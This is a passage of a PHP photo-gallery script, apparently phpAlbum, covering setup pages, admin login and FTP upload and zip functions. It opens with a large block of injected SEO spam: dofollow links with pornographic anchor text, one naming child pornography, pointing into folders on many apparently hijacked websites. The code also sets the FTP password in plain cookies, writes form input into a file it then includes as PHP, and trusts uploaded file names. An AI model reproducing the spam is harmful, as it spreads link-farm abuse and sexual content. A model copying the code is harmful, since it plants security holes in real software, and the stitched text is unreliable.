href=http://www.pinkroioshn.org/lo/SpryAssets/_images/fetish-robots/male-nasty-habits.html rel=dofollow><h1>male nasty habits</h1></a> wall  lil kim sex video <a href=http://www.aprie.com/old_stuff/_image/hairey-pussey-review/lil-kim-sex-video.html rel=dofollow><h1>lil kim sex video</h1></a> song  tiny cunt huge cock <a href=http://tweentribe.com/mytribe/shareup/backup/fatty-acids-and-immunity/tiny-cunt-huge-cock.html rel=dofollow><h1>tiny cunt huge cock</h1></a> pose  chingy dick <a href=http://www.gainesvilleupc.net/photos/friendshipday2008/_images/spr-adventist-singles/chingy-dick.html rel=dofollow><h1>chingy dick</h1></a> when  antique motorscooters innocent <a href=http://herablehands.com/fromskilledhands/post_images/_images/singles-dances-in-sacramento/antique-motorscooters-innocent.html rel=dofollow><h1>antique motorscooters innocent</h1></a> use  bismarck sex <a href=http://www.whowillsit.com/cursillista/forms/_images/japanese-train-sex-molestation/bismarck-sex.html rel=dofollow><h1>bismarck sex</h1></a> the  gay veterans <a href=http://tweentribe.com/mytribe/shareup/backup/fatty-acids-and-immunity/gay-veterans.html rel=dofollow><h1>gay veterans</h1></a> office  horny indian wife <a href=http://www.pinkroioshn.org/lo/SpryAssets/_images/fetish-robots/horny-indian-wife.html rel=dofollow><h1>horny indian wife</h1></a> lost  mallu boobs <a href=http://www.mfge.com/_themes/mfge/_images/beaver-flats-boats/mallu-boobs.html rel=dofollow><h1>mallu boobs</h1></a> dead  pantyhose loving men <a href=http://www.metalminstrel.com/wp-admin/import/_images/sanchez-fall-in-love/pantyhose-loving-men.html rel=dofollow><h1>pantyhose loving men</h1></a> ear  alien costume porn <a href=http://www.johnirwindesign.com/drupal/themes/_images/nipple-teaser-adults-australia/alien-costume-porn.html rel=dofollow><h1>alien costume porn</h1></a> three  tribadism free sex clips <a href=http://www.oaksterdaminfo.com/2008/09/_images/tiffany-minx-footjob/tribadism-free-sex-clips.html rel=dofollow><h1>tribadism free sex clips</h1></a> sharp  teen pantyhose wearing girls <a href=http://www.savingsophie.net/wp-content/themes/_images/porn-star-ashley-blue/teen-pantyhose-wearing-girls.html rel=dofollow><h1>teen pantyhose wearing girls</h1></a> whether  black men suck pussy <a href=http://diguifurniture.com/_images/virgo-man-making-love/black-men-suck-pussy.html rel=dofollow><h1>black men suck pussy</h1></a> learn  nasty fucking free <a href=http://www.oaksterdaminfo.com/2008/09/_images/tiffany-minx-footjob/nasty-fucking-free.html rel=dofollow><h1>nasty fucking free</h1></a> join  orgasm adult relationship breastfeeding <a href=http://www.pinkroioshn.org/lo/SpryAssets/_images/fetish-robots/orgasm-adult-relationship-breastfeeding.html rel=dofollow><h1>orgasm adult relationship breastfeeding</h1></a> act  kim bain nude <a href=http://www.longacreconstruction.com/Simon/Demos/_images/unintentional-nudist/kim-bain-nude.html rel=dofollow><h1>kim bain nude</h1></a> scale  bang bue rene <a href=http://arthurgroupinc.com/swf/backup/my-chemical-romance-biographies/bang-bue-rene.html rel=dofollow><h1>bang bue rene</h1></a> does  eliminate vaginal infections <a href=http://1eric.com/wp-content/themes/_images/cutie-hentai/eliminate-vaginal-infections.html rel=dofollow><h1>eliminate vaginal infections</h1></a> proper  red knob cock <a href=http://www.mewmewcat.org/blog/wp-includes/_images/asian-street-teens/red-knob-cock.html rel=dofollow><h1>red knob cock</h1></a> shape  fiona lewis bleeding love <a href=http://plumvoice22.com/pvclients/CLIENTS/_images/chubby-free-sex-pics/fiona-lewis-bleeding-love.html rel=dofollow><h1>fiona lewis bleeding love</h1></a> thus  pantyless secratery <a href=http://www.allnewcreation.com/agora/shopping_carts/backup/katie-morgans-porn-videos/pantyless-secratery.html rel=dofollow><h1>pantyless secratery</h1></a> arm  nadia marie porn star <a href=http://vormedia.com/wp-content/themes/_images/female-masturbation-page/nadia-marie-porn-star.html rel=dofollow><h1>nadia marie porn star</h1></a> person  kiddie porn online <a href=http://whichsurveys.com/ebook/_images/self-spanking/kiddie-porn-online.html rel=dofollow><h1>kiddie porn online</h1></a> me  big cock sex sites <a href=http://arthurgroupinc.com/swf/backup/my-chemical-romance-biographies/big-cock-sex-sites.html rel=dofollow><h1>big cock sex sites</h1></a> broad  amatuer big natural tits <a href=http://www.beatricejean.com/Archive/_images/gay-b-b-connecticut/amatuer-big-natural-tits.html rel=dofollow><h1>amatuer big natural tits</h1></a> black  disco hot love <a href=http://perrysautoauction.net/Flyers/100808/_images/brazilain-lesbians/disco-hot-love.html rel=dofollow><h1>disco hot love</h1></a> twenty  pornstars pictures galleries <a href=http://www.aprie.com/old_stuff/_image/hairey-pussey-review/pornstars-pictures-galleries.html rel=dofollow><h1>pornstars pictures galleries</h1></a> written  hsm nudes <a href=http://alexin.ca/bwalters/genv4111/_images/can-cumming-affect-boxing/hsm-nudes.html rel=dofollow><h1>hsm nudes</h1></a> free  man licking window <a href=http://www.mfge.com/_themes/mfge/_images/beaver-flats-boats/man-licking-window.html rel=dofollow><h1>man licking window</h1></a> select  yellow ceramic knob <a href=http://1eric.com/wp-content/themes/_images/cutie-hentai/yellow-ceramic-knob.html rel=dofollow><h1>yellow ceramic knob</h1></a> feed  thick booty clips <a href=http://www.opaquewhite.com/shakeartistcom/blog/_images/daily-cum-facial/thick-booty-clips.html rel=dofollow><h1>thick booty clips</h1></a> history  spencer douglas nylon jackets <a href=http://www.oaksterdaminfo.com/2008/09/_images/tiffany-minx-footjob/spencer-douglas-nylon-jackets.html rel=dofollow><h1>spencer douglas nylon jackets</h1></a> love  sissy slut panty <a href=http://www.mckay4supervisor.com/flash/taglines/_images/lexus-cash-sex/sissy-slut-panty.html rel=dofollow><h1>sissy slut panty</h1></a> compare  bai ling nude <a href=http://www.allnewcreation.com/agora/shopping_carts/backup/katie-morgans-porn-videos/bai-ling-nude.html rel=dofollow><h1>bai ling nude</h1></a> else  anal itch blood <a href=http://yeguadavalle.es/prueba/Styles/_images/pictures-of-pornstar-june/anal-itch-blood.html rel=dofollow><h1>anal itch blood</h1></a> find  ebony fuckings sex porn <a href=http://trzewiczek.org/ciao-office/forum/_images/shemale-jerking-video/ebony-fuckings-sex-porn.html rel=dofollow><h1>ebony fuckings sex porn</h1></a> happen  massive handjobs <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/massive-handjobs.html rel=dofollow><h1>massive handjobs</h1></a> part  casual fuck <a href=http://bransongetawaysblog.com/wp-content/themes/_images/high-school-teens-fuck/casual-fuck.html rel=dofollow><h1>casual fuck</h1></a> which  big ass ghetto booty <a href=http://affleap.com/template/css/_images/party-sex-porn-movies/big-ass-ghetto-booty.html rel=dofollow><h1>big ass ghetto booty</h1></a> girl  chrissy moran hardcore clips <a href=http://www.opaquewhite.com/shakeartistcom/blog/_images/daily-cum-facial/chrissy-moran-hardcore-clips.html rel=dofollow><h1>chrissy moran hardcore clips</h1></a> are  gay pride and la <a href=http://www.afishingguide.com/gallery/images/billy-mack-love-actully/gay-pride-and-la.html rel=dofollow><h1>gay pride and la</h1></a> shine  forex currency relationships <a href=http://designyatra.com/jce/jce/_images/can-males-have-orgasms/forex-currency-relationships.html rel=dofollow><h1>forex currency relationships</h1></a> also  disguised lesbians <a href=http://www.bookwormmoms.com/wp-content/plugins/_images/english-schoolgirl-spanking/disguised-lesbians.html rel=dofollow><h1>disguised lesbians</h1></a> old  medical porn erotic stories <a href=http://www.beatricejean.com/Archive/_images/gay-b-b-connecticut/medical-porn-erotic-stories.html rel=dofollow><h1>medical porn erotic stories</h1></a> center  son has a dildo <a href=http://www.oxmindfulness.org/custom_assets/flash/_images/333-gay/son-has-a-dildo.html rel=dofollow><h1>son has a dildo</h1></a> game  robert goulet love premiere <a href=http://www.savingsophie.net/wp-content/themes/_images/porn-star-ashley-blue/robert-goulet-love-premiere.html rel=dofollow><h1>robert goulet love premiere</h1></a> enough  gay aaron carter nude <a href=http://www.oxmindfulness.org/custom_assets/flash/_images/333-gay/gay-aaron-carter-nude.html rel=dofollow><h1>gay aaron carter nude</h1></a> horse  asian men nudes <a href=http://www.hijabcity.com/ioncube/_images/bronzed-door-knobs/asian-men-nudes.html rel=dofollow><h1>asian men nudes</h1></a> fine  nasty ball torture <a href=http://www.dietary-supplements-shopping.com/pics/_images/handjob-video-post/nasty-ball-torture.html rel=dofollow><h1>nasty ball torture</h1></a> mother  spanking cane <a href=http://bcbeanery.com/_themes/poetic/_images/busty-asian-pornstar/spanking-cane.html rel=dofollow><h1>spanking cane</h1></a> together  cute nude indians <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/cute-nude-indians.html rel=dofollow><h1>cute nude indians</h1></a> column  tranny cat transsexual beauties <a href=http://yeguadavalle.es/prueba/Styles/_images/pictures-of-pornstar-june/tranny-cat-transsexual-beauties.html rel=dofollow><h1>tranny cat transsexual beauties</h1></a> north  lesiban sex movies <a href=http://kalispellsuper8.com/photo/include/_images/watersport-watersport-pissing-sex/lesiban-sex-movies.html rel=dofollow><h1>lesiban sex movies</h1></a> bird  tia carrera nude photos <a href=http://opinionsdaily.net/wp-content/themes/_images/bile-dysfunction-diseases/tia-carrera-nude-photos.html rel=dofollow><h1>tia carrera nude photos</h1></a> metal  german teen magazine pictorials <a href=http://tweentribe.com/mytribe/shareup/backup/fatty-acids-and-immunity/german-teen-magazine-pictorials.html rel=dofollow><h1>german teen magazine pictorials</h1></a> wish  kate leicester escort <a href=http://www.glassandsplinters.com.au/pictures/available/_images/nude-gay-young-men/kate-leicester-escort.html rel=dofollow><h1>kate leicester escort</h1></a> mark  relatos tranny <a href=http://www.livinghope4u.com/gallery/logs/_images/non-nude-cheerleader-panties/relatos-tranny.html rel=dofollow><h1>relatos tranny</h1></a> join  tube cock <a href=http://www.savingsophie.net/wp-content/themes/_images/porn-star-ashley-blue/tube-cock.html rel=dofollow><h1>tube cock</h1></a> close  condioning in abusive relationships <a href=http://kathyperry.com/wp-content/plugins/_images/twinks-videos/condioning-in-abusive-relationships.html rel=dofollow><h1>condioning in abusive relationships</h1></a> quick  pink world big tits <a href=http://www.viagrasavers.com/information/_images/montreal-japanese-escorts-cheap/pink-world-big-tits.html rel=dofollow><h1>pink world big tits</h1></a> final  fem dom personals <a href=http://teachmetomakemoneyonline.com/wp-content/plugins/_images/peliculas-latinas-online/fem-dom-personals.html rel=dofollow><h1>fem dom personals</h1></a> plural  full busted womens swimwear <a href=http://lunchisforwimps.com/wp-admin/import/_images/watching-girls-strip/full-busted-womens-swimwear.html rel=dofollow><h1>full busted womens swimwear</h1></a> instrument  sexy lingerie bondage <a href=http://herablehands.com/fromskilledhands/post_images/_images/singles-dances-in-sacramento/sexy-lingerie-bondage.html rel=dofollow><h1>sexy lingerie bondage</h1></a> moon    </div></body></html>";

}

function check_writable($dir){
     error_reporting(0);
     $file=fopen($dir."writablity_test","w");
     fclose($file);
     unlink($dir."writablity_test");
     error_reporting(E_ERROR | E_WARNING | E_PARSE);
     return $file;
}
/****************************************/
/*      SETUP COMMAND                   */
/****************************************/

function generate_setup_page(){
global $var1;
global $var2;
global $var3;
global $var4;
global $album_dir;
global $cache_dir;
global $data_dir;
global $setup_password;
global $logo_path,$logo_enabled,$site_name,$site_theme,$site_engine,$themes_dir,$theme_params,$return_home_url,$new_dir_indic;
global $logs_enabled,$logs_filename,$logs_exclude,$quality_settings,$quality;
global $album_name,$album_dir_name,$cookie_password_hours,$setup_text,$next_text,$previous_text,$disable_bottom_nextprev,$character_set;
global $cache_thumbnails,$cache_resized_photos,$phpalbum_version;
global $directory_style,$maximum_photos_per_page,$raster_dir_x,$raster_dir_y,$next_page_text,$previous_page_text,$ftp_server,$ftp_server_photos_dir;
global $comments_enabled;
global $show_filenames;
global $character_set;
global $pa_texts,$pa_translated_texts;
global $default_sorting;
	if($var1=="") {
	  ob_start();require("setup.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	if($var1=="main"){
	  if($var2=="save"){
		$p_p=$_POST['p_p'];
		$p_pd=$_POST['p_pd'];
		$p_dd=$_POST['p_dd'];
		$p_cd=$_POST['p_cd'];
		
		if(substr($p_cd,-1,1)!="/"){
			$p_cd=$p_cd."/";
		}
		if(substr($p_pd,-1,1)!="/"){
			$p_pd=$p_pd."/";
		}
		
		$p_name=stripslashes($_POST['p_name']);
		$p_logo_enabled=$_POST['p_logo_enabled'];
		$p_logo_path=$_POST['p_logo_path'];
		$p_theme=$_POST['p_theme'];
		$p_return_home_url=$_POST['p_return_home_url'];
		$p_new_dir_indic=$_POST['p_new_dir_indic'];
		$p_album_name=stripslashes($_POST['p_album_name']);
		$p_album_dir_name=stripslashes($_POST['p_album_dir_name']);
		$p_setup_text=stripslashes($_POST['p_setup_text']);
		$p_next_text=stripslashes($_POST['p_next_text']);
		$p_previous_text=stripslashes($_POST['p_previous_text']);
		$p_character_set=$_POST['p_character_set'];
		if(isset($_POST['p_disable_bottom_nextprev'] )){$p_disable_bottom_nextprev="true";}else{$p_disable_bottom_nextprev="false";}
		$p_cookie_password_hours=$_POST['p_cookie_password_hours'];
		$file=fopen($data_dir."main_setup.dat","w");
		if(isset($p_logo_enabled)){$p_logo_enabled="true";}else{$p_logo_enabled="false";}
		//0.3.0
		 $p_directory_style=$_POST['p_directory_style'];
 		 $p_maximum_photos_per_page=$_POST['p_maximum_photos_per_page'];
		 $p_raster_dir_x=$_POST['p_raster_dir_x'];
		 $p_raster_dir_y=$_POST['p_raster_dir_y'];
		 $p_next_page_text=stripslashes($_POST['p_next_page_text']);
		 $p_previous_page_text=stripslashes($_POST['p_previous_page_text']);
		 //ftp-settings
		 $p_ftp_server=$_POST['p_ftp_server'];
		 $p_ftp_server_photos_dir=$_POST['p_ftp_server_photos_dir'];
	   if(isset($_POST['p_show_filenames'] )){$p_show_filenames="true";}else{$p_show_filenames="false";}
	     $p_default_sorting=$_POST['p_default_sorting'];
		
		fwrite($file,"$p_p\n$p_pd\n$p_cd\n$p_name\n$p_logo_enabled\n$p_logo_path\n$p_theme\n$p_return_home_url\n$p_new_dir_indic\n");
		fwrite($file,"$p_album_name\n$p_album_dir_name\n$p_cookie_password_hours\n$p_setup_text\n$p_next_text\n$p_previous_text\n$p_disable_bottom_nextprev\n$p_character_set\n");
		//writig 0.3.0 new params
		fwrite($file,"$p_directory_style\n$p_maximum_photos_per_page\n$p_raster_dir_x\n$p_raster_dir_y\n$p_next_page_text\n$p_previous_page_text\n$p_ftp_server\n$p_ftp_server_photos_dir\n$p_show_filenames\n$p_default_sorting\n");
		fclose($file);
		
		/*write theme settings*/
		if($site_theme == $p_theme){
			$file=fopen($data_dir.$site_theme.".dat","w");
			$num=0;
			while(isset($theme_params[$num]) || isset($_POST["p_theme_".$num])){
				if($num>0){
					fwrite($file,"|");
				}
				if(isset($_POST["p_theme_".$num])){
					fwrite($file,stripslashes($_POST["p_theme_".$num]));
					
				}else{
					fwrite($file,$theme_params[$num]);
				}
				$num=$num+1;
			}
			fclose($file);
			
		}
		
	        save_quality_settings();
		read_settings();
		theme_initialize();
	  }
	  	
	  	ob_start();require("setup_main.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
		
	  return;
	}
	if($var1=="logs"){
	  if($var2=="save"){
	  	$p_enabled=$_POST['p_enabled'];
		$p_filename=$_POST['p_filename'];
		$p_exclude=$_POST['p_exclude'];
		$file=fopen($data_dir."logs_setup.dat","w");
		if(isset($p_enabled)){
		        fwrite($file,"true|$p_filename|$p_exclude");
		}else{
		        fwrite($file,"false|$p_filename|$p_exclude");
		}
		fclose($file);
		read_settings();
	  }
	  if($var2=="view"){
	  	ob_start();require("setup_logs.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);

		if(file_exists($cache_dir.$logs_filename)){
			$file=file($cache_dir.$logs_filename);
			echo "<table>";
	        	foreach($file as $line_num=>$line){
 	                	$strings=explode("|",$line);
				echo "<tr>";
				foreach($strings as $num=>$string){
					echo "<td class=\"boxbody\">".$string."</td>";
				}	
				echo "<td class=\"boxbody\"><a class=\"me\" href=\"main.php?cmd=".$strings[1]."&var1=".$strings[2]."\">view<a/></td>";
				echo "</tr>";
                	}
			echo "</table>";
		}else{ echo "Log file not found !!";}
		return;
	  }
	  if($var2=="del"){
	    	  ob_start();require("setup_logs.inc");
		  if(file_exists($cache_dir.$logs_filename)){
		  	unlink($cache_dir.$logs_filename);
			echo "File deleted";
		  }else{
		  	echo "File not found!";
		  }
		  $contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
		  return;	
	  }
   	  ob_start();require("setup_logs.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	
	if($var1=="dirs"){
	  if($var2=="save"){
	  	$num=0;
		while(isset($_POST["p_dir_".$num])){
			$f_name=stripslashes($data_dir.str_replace(" ","_",str_replace("/","_",conv_in($_POST["p_dir_".$num]))).".dat");
			if(file_exists($f_name)){
			   $old_file=file($f_name);
			}
			$file=fopen($f_name,"w");
			fwrite($file,$_POST["p_pass_".$num]."|".pa_html_encode(stripslashes($_POST["p_desc_".$num]))."|".pa_html_encode(stripslashes($_POST["p_desc_long_".$num]))."|".pa_html_encode(stripslashes($_POST["p_alias_".$num]))."|".$_POST["p_sorting_".$num]."|".((isset($_POST["p_visible_".$num])?"true":"false"))."\n");
			$num=$num+1;
			$i=1;
			while(isset($old_file[$i])){
				fwrite($file,$old_file[$i]);
				$i=$i+1;
			}
			fclose($file);
		}
	  }
	  if($var2=="save2"){
	        /*saving advanced dir settings*/
	  $f_name=stripslashes($data_dir.str_replace(" ","_",str_replace("/","_",conv_in($_POST["p_dir"]))).".dat");
		$file=fopen($f_name,"w");
		/*writing dir settings*/
		
		fwrite($file,$_POST["p_pass"]."|".pa_html_encode(stripslashes($_POST["p_desc"]))."|".pa_html_encode(string2store(stripslashes($_POST["p_desc_long".$num])))."|".pa_html_encode(stripslashes($_POST["p_alias"]))."|".$_POST["p_sorting"]."|".((isset($_POST["p_visible"])?"true":"false"))."\n");
		
	  	$num=1;
		while(isset($_POST["p_file_".$num])){
			fwrite($file,stripslashes(conv_in($_POST["p_file_".$num]))."|".pa_html_encode(stripslashes($_POST["p_file_sd_".$num]))."|".pa_html_encode(string2store(stripslashes($_POST["p_file_ld_".$num])))."\n");
			$num=$num+1;
		}
		fclose($file);
	  }
	  if(strlen($var3)>0){
	     $sett=get_directory_settings(conv_in($var3));
	  	ob_start();require("setup_dir_advanced.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
          }else{
    	     $dirs=get_photos_directories("/",$dirs);
  	     ob_start();require("setup_dirs.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  }
	  return;
	}
	if($var1=="comments"){
		if($var2=="delete"){
			if($var3 && $var4){
			 delete_comment($var3,$var4);
			}
		}
		if($var2=="approve"){
			if($var3 && $var4){
			 approve_comment($var3,$var4);
			}
		}
	  if($var2=="save"){
		if(isset($_POST['p_comments_enabled'] )){$p_comments_enabled="true";}else{$p_comments_enabled="false";}
		$file=fopen($data_dir."comments_setup.dat","w");
	        fwrite($file,"$p_comments_enabled");
		fclose($file);
		read_settings();
	  }
  	  ob_start();require("setup_comments.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	if($var1=="cache"){
	  if($var2=="delete"){
	     delete_cache($cache_dir,0);
	  }
	  if($var2=="save"){
		if(isset($_POST['p_cache_thumbnails'] )){$p_cache_thumbnails="true";}else{$p_cache_thumbnails="false";}
		if(isset($_POST['p_cache_resized_photos'] )){$p_cache_resized_photos="true";}else{$p_cache_resized_photos="false";}
		$file=fopen($data_dir."cache_setup.dat","w");
	        fwrite($file,"$p_cache_thumbnails|$p_cache_resized_photos");
		fclose($file);
		read_settings();
	  }
  	  ob_start();require("setup_cache.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	if($var1=="texts"){
		if($var2=="save"){
			if(file_exists($data_dir."translation.dat")){
				/*delete*/
				unlink($data_dir."translation.dat");
			}
			$first=true;
			foreach($_POST as $key => $text){
				if(substr($key,0,3)=="ID_" && strlen($text)>0){
					  $text=str_replace(Array('\\','"'),Array('\\\\','\"'),stripslashes($text));
						/*this is an id translation*/
						if($first){
							$file=fopen($data_dir."translation.dat","w");
							$first=false;
							fwrite($file,"<?\n\$pa_translated_texts = Array(\n\"$key\" => \"$text\"\n");
						}else{
							fwrite($file,",\"$key\" => \"$text\"\n");
						}
						
				}
			}
			if(!$first){ fwrite($file,");\n?>\n"); fclose($file); }
			if(file_exists($data_dir."translation.dat")){
				include($data_dir."translation.dat");
			}else{
				unset($pa_translated_texts);
			}
		}
		 
		ob_start();require("setup_texts.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
  }
	if($var1=="admin"){
		error_reporting(0);
		if(isset($_COOKIE['p_pass'])){ $p_pass=$_COOKIE['p_pass']; }
		if(isset($_COOKIE['p_user'])){ $p_user=$_COOKIE['p_user']; }
		if(isset($_COOKIE['p_actdir'])){ $p_actdir=$_COOKIE['p_actdir']; }

		if(isset($_POST['p_user'])){ $p_user=$_POST['p_user']; }
		if(isset($_POST['p_pass'])){ $p_pass=$_POST['p_pass']; }

	
		if(isset($_POST['p_dir'])){ $p_dir=conv_in($_POST['p_dir']); }
		if(isset($_GET['p_dir'])){ $p_dir=conv_in($_GET['p_dir']); }
		
		if(isset($_POST['p_file_name'])){ $p_file_name=conv_in($_POST['p_file_name']); }
		if(isset($_GET['p_file_name'])){ $p_file_name=conv_in($_GET['p_file_name']); }
		
		if($var2=="login"){
			if( !($ftp_error=ftp_check_login($p_user,$p_pass)) ){
				/*set cookie*/
				setcookie("p_user",$p_user);
				setcookie("p_pass",$p_pass);
				setcookie("p_actdir","");
				$p_actdir="";
				ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
				return;
			}else{
				ob_start();require("setup.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
				return;
			}
		}
		if($var2=="chdir"){
			$p_actdir=$p_dir;
			setcookie("p_actdir",$p_actdir);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
			
		}
		if($var2=="mkdir"){
			$ftp_error=ftp_setup_mkdir($p_user,$p_pass,$p_actdir,$p_dir);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="rmdir"){
			$ftp_error=ftp_setup_rmdir($p_user,$p_pass,$p_actdir,$p_dir);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="delete"){
			$ftp_error=ftp_setup_delete($p_user,$p_pass,$p_actdir,$p_file_name);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="upload"){

			$uploaddir = $cache_dir;

			if (move_uploaded_file($_FILES['p_file']['tmp_name'], $uploaddir . conv_in($_FILES['p_file']['name']))) {
			   $ftp_error=ftp_setup_put_file($p_user,$p_pass,$p_actdir,$uploaddir . conv_in($_FILES['p_file']['name']),conv_in($_FILES['p_file']['name']));
			   /*deleted from cache*/
			   unlink($uploaddir . $_FILES['p_file']['name']);				   
			} else {
			   $ftp_error="Possible file upload attack!";
			}


			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="uploadzip"){

			$uploaddir = $cache_dir;

			if (move_uploaded_file($_FILES['p_file']['tmp_name'], $uploaddir . conv_in($_FILES['p_file']['name']))) {
			   $ftp_error=ftp_setup_put_zip_file($p_user,$p_pass,$p_actdir,$uploaddir . conv_in($_FILES['p_file']['name']),conv_in($_FILES['p_file']['name']));
			   /*deleted from cache*/
			   unlink($uploaddir . $_FILES['p_file']['name']);				   
			} else {
			   $ftp_error="Possible file upload attack!";
			}


			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		
	}
  	 ob_start();require("setup.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
}


/**********************************************************/
/****************** FTP Functions *************************/
/**********************************************************/
function create_dir($conn,$remote_directory){
  $dir=split("/", $remote_directory);
   $path="";
   $result = true;
       error_reporting(0);
  
   for ($i=1;$i<count($dir);$i++)
   {
	    $path.="/".$dir[$i];
       //echo "$path\n";
       if(!ftp_chdir($conn,$path)){
         ftp_chdir($conn,"/");
         if(!ftp_mkdir($conn,$path)){
            $result=false;
            break;
         }
       }
   }
   error_reporting(E_ERROR | E_WARNING | E_PARSE);
	
return $result;
}

function ftp_setup_mkdir($p_user,$p_pass,$p_actdir,$p_dir){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
   	$result=create_dir($conn,$ftp_server_photos_dir.$p_actdir.$p_dir);
	if(!$result){
		ftp_close($conn);return "Unable to create directory $p_dir on ftp server";
   	}
	$result=ftp_close($conn);
	return "";
}

function ftp_setup_rmdir($p_user,$p_pass,$p_actdir,$p_dir){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
   	$result=ftp_rmdir($conn,$p_dir);
	if(!$result){
		ftp_close($conn);return "Unable to delete directory $ftp_server_photos_dir$p_actdir$p_dir on ftp server";
   	}
	$result=ftp_close($conn);
	return "";
}
function ftp_setup_delete($p_user,$p_pass,$p_actdir,$p_file){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
   	$result=ftp_delete($conn,$p_file);
	if(!$result){
		ftp_close($conn);return "Unable to delete file $p_file on ftp server";
   	}
	$result=ftp_close($conn);
	return "";
}
function ftp_setup_put_file($p_user,$p_pass,$p_actdir,$local,$remote){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
	
	
   	if(!ftp_put($conn,$remote,$local,FTP_BINARY)){ftp_close($conn);return "Unable to upload file $remote!";}
	$result=ftp_close($conn);
	return "";
}

function ftp_setup_put_zip_file($p_user,$p_pass,$p_actdir,$local,$remote){
	global $ftp_server,$ftp_server_photos_dir,$cache_dir;
	$tmp=$cache_dir."tmp.file";
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
	if(function_exists('zip_open')){
		$zip=zip_open($local);
		if($zip){
			while($zip_entry=zip_read($zip)){
				if(zip_entry_filesize($zip_entry)>0){
					if (zip_entry_open($zip, $zip_entry, "rb")) {
					   $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
		           	   $ft=fopen($tmp,"wb");
		           	   if($ft){
		         	   		fwrite($ft,$buf,zip_entry_filesize($zip_entry));
		           	   		fclose($ft);
		           	   }else{
		           	   		ftp_close($conn);return "unable to open temporary file";
		           	   }
		           	   		
		           	   if(!ftp_put($conn,$ftp_server_photos_dir.$p_actdir.zip_entry_name($zip_entry),$tmp,FTP_BINARY)){
		    			   	$result=create_dir($conn,$ftp_server_photos_dir.$p_actdir.dirname(zip_entry_name($zip_entry)));
							if(!$result){ ftp_close($conn);return "Unable to create directory ".dirname(zip_entry_name($zip_entry))." on ftp server";}
